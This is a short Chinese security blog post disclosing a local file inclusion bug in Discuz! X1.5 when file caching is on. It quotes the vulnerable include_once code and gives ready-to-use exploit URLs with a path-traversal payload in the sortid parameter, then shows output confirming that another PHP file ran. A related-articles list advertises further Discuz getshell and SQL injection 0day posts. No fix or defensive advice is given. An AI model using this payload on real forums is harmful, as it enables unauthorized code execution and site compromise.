DISCUZX1.5 本地文件包含，当然是有条件的，就是使用文件作为缓存。
config_global.php
- $_config['cache']['type'] = 'file';
- function cachedata($cachenames) {
- ......
- $isfilecache = getglobal('config/cache/type') == 'file';
- ......
- if($isfilecache) {
- $lostcaches = array();
- foreach($cachenames as $cachename) {
- if(!@include_once(DISCUZ_ROOT.'./data/cache/cache_'.$cachename.'.php')) {
- $lostcaches[] = $cachename;
- }
- }
- ......
- }
地址：
http://localhost/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc
http://localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc
Authracation has expiried
执行了 api/uc.php 页面代码了。
只显示10条记录相关文章
Discuz!X2.5 Release 20120407 Getshell 0day (浏览: 22636, 评论: 0)
Discuz! X2.0 SQL注入漏洞 EXP (浏览: 22312, 评论: 0)
Discuz!NT 2.x – 3.5.2 (浏览: 16904, 评论: 0)
DiscuzX1-1.5 Sql 0day (浏览: 14461, 评论: 0)
discuz x1.5 discuz 7.2 后台getshell 0day通杀0day (浏览: 46372, 评论: 0)
DiscuzX1.5 门户管理权限SQL注入漏洞 (浏览: 23268, 评论: 0)
Discuz!后台怎么拿到Webshell (浏览: 15974, 评论: 0)
dz~~~~马后炮 (浏览: 10675, 评论: 0)
Discuz非创始人管理员代码执行 (浏览: 11777, 评论: 0)
Discuz 7.0-7.2后台拿Shell (浏览: 18647, 评论: 0)
Discuz! X2.0 SQL注入漏洞 EXP (浏览: 22312, 评论: 0)
Discuz!NT 2.x – 3.5.2 (浏览: 16904, 评论: 0)
DiscuzX1-1.5 Sql 0day (浏览: 14461, 评论: 0)
discuz x1.5 discuz 7.2 后台getshell 0day通杀0day (浏览: 46372, 评论: 0)
DiscuzX1.5 门户管理权限SQL注入漏洞 (浏览: 23268, 评论: 0)
Discuz!后台怎么拿到Webshell (浏览: 15974, 评论: 0)
dz~~~~马后炮 (浏览: 10675, 评论: 0)
Discuz非创始人管理员代码执行 (浏览: 11777, 评论: 0)
Discuz 7.0-7.2后台拿Shell (浏览: 18647, 评论: 0)
Trackbacks
 |
 |
 |
